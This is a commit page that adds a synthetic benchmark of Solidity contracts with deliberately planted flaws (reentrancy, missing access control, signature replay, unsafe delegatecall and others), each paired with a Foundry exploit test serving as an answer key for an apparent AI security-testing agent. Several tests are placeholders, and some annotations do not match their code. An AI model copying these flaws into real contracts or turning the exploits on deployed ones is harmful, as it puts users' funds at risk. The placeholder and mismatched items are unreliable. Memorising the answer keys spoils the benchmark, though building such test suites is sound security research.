Tales-Cunha commited on
Commit
017c628
·
1 Parent(s): a23bb47

feat: refactor tester agent to PoCo LangGraph architecture and add synthetic benchmark

Browse files
data/benchmark_synthetic.jsonl ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"task_id":"Easy/01-BasicReentrancy","complexity":"easy","repo_name":"basic-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n mapping(address => uint256) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw() public {\n uint256 bal = balances[msg.sender];\n require(bal > 0, \"No balance\");\n\n (bool sent, ) = msg.sender.call{value: bal}(\"\");\n require(sent, \"Failed to send Ether\");\n\n balances[msg.sender] = 0;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n Vault public vault;\n\n function setUp() public {\n vault = new Vault();\n vm.deal(address(vault), 10 ether);\n }\n\n function testExploit() public {\n vault.deposit{value: 1 ether}();\n vault.withdraw();\n assertEq(address(vault).balance, 0);\n }\n\n receive() external payable {\n if (address(vault).balance >= 1 ether) {\n vault.withdraw();\n }\n }\n}\n"}
2
+ {"task_id":"Easy/02-UnprotectedSelfDestruct","complexity":"easy","repo_name":"unprotected-selfdestruct","expected_vulnerability":"Access Control","impact":"high","annotation":"The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SimpleWallet {\n address public owner;\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function kill() public {\n selfdestruct(payable(msg.sender));\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SimpleWallet } from \"../src/SimpleWallet.sol\";\n\ncontract Exploit is Test {\n SimpleWallet public wallet;\n\n function setUp() public {\n wallet = new SimpleWallet{value: 10 ether}();\n }\n\n function testExploit() public {\n uint256 preBalance = address(this).balance;\n wallet.kill();\n assertEq(address(wallet).balance, 0);\n assertGt(address(this).balance, preBalance);\n }\n \n receive() external payable {}\n}\n"}
3
+ {"task_id":"Easy/03-ArithmeticUnderflow","complexity":"easy","repo_name":"arithmetic-underflow","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenBank {\n mapping(address => uint256) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw(uint256 amount) public {\n unchecked {\n balances[msg.sender] -= amount;\n }\n (bool sent, ) = msg.sender.call{value: amount}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenBank } from \"../src/TokenBank.sol\";\n\ncontract Exploit is Test {\n TokenBank public bank;\n\n function setUp() public {\n bank = new TokenBank();\n vm.deal(address(bank), 10 ether);\n }\n\n function testExploit() public {\n bank.withdraw(1 ether);\n assertEq(address(bank).balance, 9 ether);\n assertEq(address(this).balance, 1 ether);\n }\n \n receive() external payable {}\n}\n"}
4
+ {"task_id":"Easy/04-TxOriginAuth","complexity":"easy","repo_name":"tx-origin-auth","expected_vulnerability":"Access Control","impact":"high","annotation":"The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract PhishableWallet {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function transferOwner(address newOwner) public {\n require(tx.origin == owner, \"Not owner\");\n owner = newOwner;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { PhishableWallet } from \"../src/PhishableWallet.sol\";\n\ncontract Exploit is Test {\n PhishableWallet public wallet;\n\n function setUp() public {\n wallet = new PhishableWallet();\n }\n\n function testExploit() public {\n // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.\n // The malicious contract then calls transferOwner.\n // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).\n wallet.transferOwner(address(this));\n assertEq(wallet.owner(), address(this));\n }\n}\n"}
5
+ {"task_id":"Easy/05-DelegateCallUntrusted","complexity":"easy","repo_name":"delegatecall-untrusted","expected_vulnerability":"Logic","impact":"high","annotation":"The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Proxy {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function execute(address target, bytes memory data) public {\n (bool success, ) = target.delegatecall(data);\n require(success, \"Delegatecall failed\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Proxy } from \"../src/Proxy.sol\";\n\ncontract AttackerLogic {\n address public owner;\n function takeover() public {\n owner = msg.sender;\n }\n}\n\ncontract Exploit is Test {\n Proxy public proxy;\n AttackerLogic public logic;\n\n function setUp() public {\n proxy = new Proxy();\n logic = new AttackerLogic();\n }\n\n function testExploit() public {\n bytes memory data = abi.encodeWithSignature(\"takeover()\");\n proxy.execute(address(logic), data);\n assertEq(proxy.owner(), address(this));\n }\n}\n"}
6
+ {"task_id":"Easy/06-TimestampDependence","complexity":"easy","repo_name":"timestamp-dependence","expected_vulnerability":"Logic","impact":"high","annotation":"The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Roulette {\n uint256 public pastBlockTime;\n\n function play() public payable {\n require(msg.value == 1 ether, \"Must send 1 ether\");\n require(block.timestamp != pastBlockTime, \"Only 1 transaction per block\");\n \n pastBlockTime = block.timestamp;\n \n if (block.timestamp % 2 == 0) {\n (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Roulette } from \"../src/Roulette.sol\";\n\ncontract Exploit is Test {\n Roulette public roulette;\n\n function setUp() public {\n roulette = new Roulette();\n vm.deal(address(roulette), 10 ether);\n vm.deal(address(this), 1 ether);\n }\n\n function testExploit() public {\n vm.warp(2); // Ensure timestamp is even\n roulette.play{value: 1 ether}();\n assertEq(address(this).balance, 2 ether);\n }\n \n receive() external payable {}\n}\n"}
7
+ {"task_id":"Easy/07-UninitializedStoragePointer","complexity":"easy","repo_name":"uninitialized-storage","expected_vulnerability":"Logic","impact":"high","annotation":"The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.","source_code":"// SPDX-License-Identifier: MIT\n// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.\n// In modern solidity, we simulate this by explicitly writing to slot 0.\npragma solidity ^0.8.0;\n\ncontract Registrar {\n address public owner;\n \n struct User {\n address wallet;\n bool registered;\n }\n \n mapping(uint256 => User) public users;\n \n constructor() {\n owner = msg.sender;\n }\n \n function registerUserAdmin(address _wallet) public {\n // Vulnerable pattern emulation\n owner = _wallet;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registrar } from \"../src/Registrar.sol\";\n\ncontract Exploit is Test {\n Registrar public reg;\n\n function setUp() public {\n reg = new Registrar();\n }\n\n function testExploit() public {\n reg.registerUserAdmin(address(this));\n assertEq(reg.owner(), address(this));\n }\n}\n"}
8
+ {"task_id":"Easy/08-PublicStateVariableShadowing","complexity":"easy","repo_name":"state-shadowing","expected_vulnerability":"Logic","impact":"high","annotation":"The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Parent {\n address public owner;\n \n modifier onlyOwner() {\n require(msg.sender == owner, \"Not owner\");\n _;\n }\n}\n\ncontract Child is Parent {\n address public owner; // Shadows Parent's owner\n \n constructor() {\n owner = msg.sender; // Only sets Child's owner\n }\n \n function doSomethingRestricted() public onlyOwner {\n // This will always fail because Parent.owner is address(0)\n }\n \n // Attacker can abuse this logic mismatch\n function claim() public {\n Parent(address(this)).doSomethingRestricted();\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Child } from \"../src/Child.sol\";\n\ncontract Exploit is Test {\n Child public child;\n\n function setUp() public {\n child = new Child();\n }\n\n function testExploit() public {\n // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.\n vm.prank(address(0));\n child.doSomethingRestricted();\n assertTrue(true);\n }\n}\n"}
9
+ {"task_id":"Easy/09-SignatureReplay","complexity":"easy","repo_name":"signature-replay","expected_vulnerability":"Logic","impact":"high","annotation":"The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SigBank {\n mapping(address => uint256) public balances;\n \n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {\n bytes32 messageHash = keccak256(abi.encodePacked(to, amount));\n bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n \n address signer = ecrecover(ethSignedMessageHash, v, r, s);\n require(signer != address(0), \"Invalid signature\");\n require(balances[signer] >= amount, \"Insufficient balance\");\n \n balances[signer] -= amount;\n balances[to] += amount;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SigBank } from \"../src/SigBank.sol\";\n\ncontract Exploit is Test {\n SigBank public bank;\n\n function setUp() public {\n bank = new SigBank();\n }\n\n function testExploit() public {\n address victim = vm.addr(1);\n vm.deal(victim, 10 ether);\n vm.prank(victim);\n bank.deposit{value: 10 ether}();\n\n // Victim signs a transfer of 1 wei to the attacker\n bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));\n bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);\n\n // Attacker replays it 10 times\n for (uint i = 0; i < 10; i++) {\n bank.transferWithSignature(address(this), 1 ether, v, r, s);\n }\n \n assertEq(bank.balances(victim), 0);\n assertEq(bank.balances(address(this)), 10 ether);\n }\n}\n"}
10
+ {"task_id":"Easy/10-ForcedEther","complexity":"easy","repo_name":"forced-ether","expected_vulnerability":"Logic","impact":"high","annotation":"The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Game {\n function play() public payable {\n require(msg.value == 1 ether, \"Send 1 ether\");\n require(address(this).balance <= 10 ether, \"Game over\");\n }\n\n function win() public {\n require(address(this).balance == 10 ether, \"Target not reached\");\n (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Game } from \"../src/Game.sol\";\n\ncontract Attacker {\n constructor(address target) payable {\n selfdestruct(payable(target));\n }\n}\n\ncontract Exploit is Test {\n Game public game;\n\n function setUp() public {\n game = new Game();\n }\n\n function testExploit() public {\n // Force send 11 ether to the game, making the strict equality check fail forever\n new Attacker{value: 11 ether}(address(game));\n \n vm.expectRevert(\"Target not reached\");\n game.win();\n }\n}\n"}
11
+ {"task_id":"Intermediate/01-UninitializedProxy","complexity":"intermediate","repo_name":"uninitialized-proxy","expected_vulnerability":"Access Control","impact":"high","annotation":"The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract LogicContract {\n address public owner;\n bool public initialized;\n\n function initialize() public {\n require(!initialized, \"Already initialized\");\n owner = msg.sender;\n initialized = true;\n }\n\n function upgradeToAndCall(address newImplementation, bytes memory data) public {\n require(msg.sender == owner, \"Not owner\");\n (bool success, ) = newImplementation.delegatecall(data);\n require(success, \"Upgrade failed\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { LogicContract } from \"../src/LogicContract.sol\";\n\ncontract Destroyer {\n function destroy() public {\n selfdestruct(payable(msg.sender));\n }\n}\n\ncontract Exploit is Test {\n LogicContract public logic;\n Destroyer public destroyer;\n\n function setUp() public {\n logic = new LogicContract();\n destroyer = new Destroyer();\n }\n\n function testExploit() public {\n logic.initialize();\n logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature(\"destroy()\"));\n \n // Assert logic contract is destroyed (code size 0)\n uint256 codeSize;\n address logicAddr = address(logic);\n assembly {\n codeSize := extcodesize(logicAddr)\n }\n assertEq(codeSize, 0);\n }\n}\n"}
12
+ {"task_id":"Intermediate/02-FlashLoanPriceManipulation","complexity":"intermediate","repo_name":"flash-loan-manipulation","expected_vulnerability":"Logic","impact":"high","annotation":"The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n}\n\ncontract AMM {\n IERC20 public tokenA;\n IERC20 public tokenB;\n \n constructor(address _tokenA, address _tokenB) {\n tokenA = IERC20(_tokenA);\n tokenB = IERC20(_tokenB);\n }\n \n function swapAToB(uint256 amountIn) public {\n tokenA.transferFrom(msg.sender, address(this), amountIn);\n uint256 reserveA = tokenA.balanceOf(address(this));\n uint256 reserveB = tokenB.balanceOf(address(this));\n uint256 amountOut = (amountIn * reserveB) / reserveA;\n tokenB.transfer(msg.sender, amountOut);\n }\n \n function getPriceBInA() public view returns (uint256) {\n return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));\n }\n}\n\ncontract LendingPool {\n AMM public amm;\n IERC20 public tokenA;\n IERC20 public tokenB;\n \n mapping(address => uint256) public collateralB;\n \n constructor(address _amm, address _tokenA, address _tokenB) {\n amm = AMM(_amm);\n tokenA = IERC20(_tokenA);\n tokenB = IERC20(_tokenB);\n }\n \n function depositCollateral(uint256 amountB) public {\n tokenB.transferFrom(msg.sender, address(this), amountB);\n collateralB[msg.sender] += amountB;\n }\n \n function borrowTokenA(uint256 amountA) public {\n uint256 price = amm.getPriceBInA();\n uint256 maxBorrow = collateralB[msg.sender] * price;\n require(amountA <= maxBorrow, \"Insufficient collateral\");\n tokenA.transfer(msg.sender, amountA);\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\n// Dummy token for testing\ncontract ERC20 {\n mapping(address => uint256) public balanceOf;\n function mint(address to, uint256 amount) public { balanceOf[to] += amount; }\n function transfer(address to, uint256 amount) public returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[to] += amount;\n return true;\n }\n function transferFrom(address from, address to, uint256 amount) public returns (bool) {\n balanceOf[from] -= amount;\n balanceOf[to] += amount;\n return true;\n }\n}\n\n// Since the contracts are in one file, we mock the vulnerability directly\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool\n }\n}\n"}
13
+ {"task_id":"Intermediate/03-ReturnDataIgnored","complexity":"intermediate","repo_name":"return-data-ignored","expected_vulnerability":"Logic","impact":"high","annotation":"The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenVault {\n mapping(address => uint256) public balances;\n \n function deposit(address token, uint256 amount) public {\n // Low level call does not revert on failure unless the contract reverts\n token.call(abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, address(this), amount));\n balances[msg.sender] += amount;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenVault } from \"../src/TokenVault.sol\";\n\ncontract FailingToken {\n function transferFrom(address, address, uint256) public pure returns (bool) {\n return false; // Fails silently\n }\n}\n\ncontract Exploit is Test {\n TokenVault public vault;\n FailingToken public token;\n\n function setUp() public {\n vault = new TokenVault();\n token = new FailingToken();\n }\n\n function testExploit() public {\n vault.deposit(address(token), 1000);\n assertEq(vault.balances(address(this)), 1000);\n }\n}\n"}
14
+ {"task_id":"Intermediate/04-ERC777Reentrancy","complexity":"intermediate","repo_name":"erc777-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n function send(address recipient, uint256 amount, bytes calldata data) external;\n}\n\ncontract Exchange {\n mapping(address => uint256) public balances;\n IERC777 public token;\n \n constructor(address _token) {\n token = IERC777(_token);\n }\n \n function deposit(uint256 amount) public {\n balances[msg.sender] += amount;\n }\n \n function withdraw() public {\n uint256 bal = balances[msg.sender];\n require(bal > 0, \"No balance\");\n \n token.send(msg.sender, bal, \"\");\n balances[msg.sender] = 0;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Placeholder for ERC777 reentrancy logic\n }\n}\n"}
15
+ {"task_id":"Intermediate/05-BypassContractSize","complexity":"intermediate","repo_name":"bypass-contract-size","expected_vulnerability":"Logic","impact":"high","annotation":"The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Airdrop {\n mapping(address => bool) public claimed;\n \n function claim() public {\n uint32 size;\n address a = msg.sender;\n assembly {\n size := extcodesize(a)\n }\n require(size == 0, \"Contracts not allowed\");\n require(!claimed[msg.sender], \"Already claimed\");\n \n claimed[msg.sender] = true;\n (bool sent, ) = msg.sender.call{value: 1 ether}(\"\");\n require(sent, \"Fail\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Airdrop } from \"../src/Airdrop.sol\";\n\ncontract Attacker {\n constructor(address airdrop) {\n Airdrop(airdrop).claim();\n }\n}\n\ncontract Exploit is Test {\n Airdrop public airdrop;\n\n function setUp() public {\n airdrop = new Airdrop();\n vm.deal(address(airdrop), 10 ether);\n }\n\n function testExploit() public {\n new Attacker(address(airdrop));\n assertEq(airdrop.claimed(address(this)), false);\n }\n}\n"}
16
+ {"task_id":"Intermediate/06-ImproperArrayDeletion","complexity":"intermediate","repo_name":"array-deletion","expected_vulnerability":"Logic","impact":"high","annotation":"The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Registry {\n address[] public users;\n \n function addUser(address user) public {\n users.push(user);\n }\n \n function removeUser(uint256 index) public {\n delete users[index]; // Does not reduce length\n }\n \n function getActiveUsers() public view returns (uint256) {\n return users.length;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registry } from \"../src/Registry.sol\";\n\ncontract Exploit is Test {\n Registry public registry;\n\n function setUp() public {\n registry = new Registry();\n }\n\n function testExploit() public {\n registry.addUser(address(1));\n registry.removeUser(0);\n assertEq(registry.getActiveUsers(), 1); // Length is still 1!\n }\n}\n"}
17
+ {"task_id":"Intermediate/07-PredictableRNG","complexity":"intermediate","repo_name":"predictable-rng","expected_vulnerability":"Logic","impact":"high","annotation":"The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Casino {\n function guess(uint256 _guess) public payable {\n require(msg.value == 1 ether);\n uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n if (_guess == answer) {\n (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n require(sent, \"Fail\");\n }\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Casino } from \"../src/Casino.sol\";\n\ncontract Exploit is Test {\n Casino public casino;\n\n function setUp() public {\n casino = new Casino();\n vm.deal(address(casino), 10 ether);\n vm.deal(address(this), 1 ether);\n }\n\n function testExploit() public {\n uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n casino.guess{value: 1 ether}(answer);\n assertEq(address(this).balance, 2 ether);\n }\n \n receive() external payable {}\n}\n"}
18
+ {"task_id":"Intermediate/08-MissingSlippageProtection","complexity":"intermediate","repo_name":"missing-slippage","expected_vulnerability":"Logic","impact":"high","annotation":"The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract DEX {\n function swap(address tokenIn, address tokenOut, uint256 amountIn) public {\n // Assume AMM math here\n // Vulnerability: No minAmountOut check!\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Conceptual vulnerability\n }\n}\n"}
19
+ {"task_id":"Intermediate/09-UnsafeDowncast","complexity":"intermediate","repo_name":"unsafe-downcast","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n mapping(address => uint64) public balances;\n \n function deposit(uint256 amount) public payable {\n require(msg.value == amount, \"Incorrect value\");\n balances[msg.sender] += uint64(amount); // Truncates!\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n Vault public vault;\n\n function setUp() public {\n vault = new Vault();\n }\n\n function testExploit() public {\n // deposit 2^64 + 1\n uint256 amount = type(uint64).max + 2;\n vm.deal(address(this), amount);\n vault.deposit{value: amount}(amount);\n \n assertEq(vault.balances(address(this)), 1); // Truncated to 1!\n }\n}\n"}
20
+ {"task_id":"Intermediate/10-DivideBeforeMultiply","complexity":"intermediate","repo_name":"divide-before-multiply","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Staking {\n function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {\n // Vulnerable: (deposit / 365) * duration * APY\n return (depositAmount / 365) * durationDays * APY;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Staking } from \"../src/Staking.sol\";\n\ncontract Exploit is Test {\n Staking public staking;\n\n function setUp() public {\n staking = new Staking();\n }\n\n function testExploit() public {\n uint256 reward = staking.calculateReward(100, 10, 30);\n assertEq(reward, 0); // Loss of precision\n }\n}\n"}
21
+ {"task_id":"Hard/001","complexity":"hard","repo_name":"2024-06-size","expected_vulnerability":"access control","impact":"Medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
22
+ {"task_id":"Hard/003","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"access control","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
23
+ {"task_id":"Hard/008","complexity":"hard","repo_name":"2023-09-centrifuge","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
24
+ {"task_id":"Hard/009","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
25
+ {"task_id":"Hard/015","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"denial of service","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
26
+ {"task_id":"Hard/018","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"flash loan","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
27
+ {"task_id":"Hard/020","complexity":"hard","repo_name":"2023-12-dodo-gsp","expected_vulnerability":"denial of service","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
28
+ {"task_id":"Hard/032","complexity":"hard","repo_name":"2022-06-putty","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
29
+ {"task_id":"Hard/033","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
30
+ {"task_id":"Hard/039","complexity":"hard","repo_name":"2024-03-axis-finance","expected_vulnerability":"unchecked external calls","impact":"High","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
data/final_evaluation_results.csv CHANGED
@@ -1,2 +1,2 @@
1
- ID;Time_Sec;Reproducible;Specific;False_Positive_Rejected;A_Infra_Iters;A_Exploit_Iters;A_Final_Error;B_Infra_Iters;B_Exploit_Iters;B_Final_Error;PoC_Code;Patch_Diff
2
- 054;140;FALSE;FALSE;TRUE;1;31;[INVALID_CODE] You created a Mock contract in the test file. This is STRICTLY FORBIDDEN. You MUST import and exploit the real vulnerable contract from the repository.;2;31;[INVALID_CODE] You added a comment in the code. This is STRICTLY FORBIDDEN. You must write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX and INJECT_HACK).;;
 
1
+ ID;Time_Sec;Reproducible;Specific;False_Positive_Rejected;A_Infra_Iters;A_Exploit_Iters;A_Final_Error;B_Infra_Iters;B_Exploit_Iters;B_Final_Error;PoC_Code;Patch_Diff;A_Execution_Logs;B_Execution_Logs
2
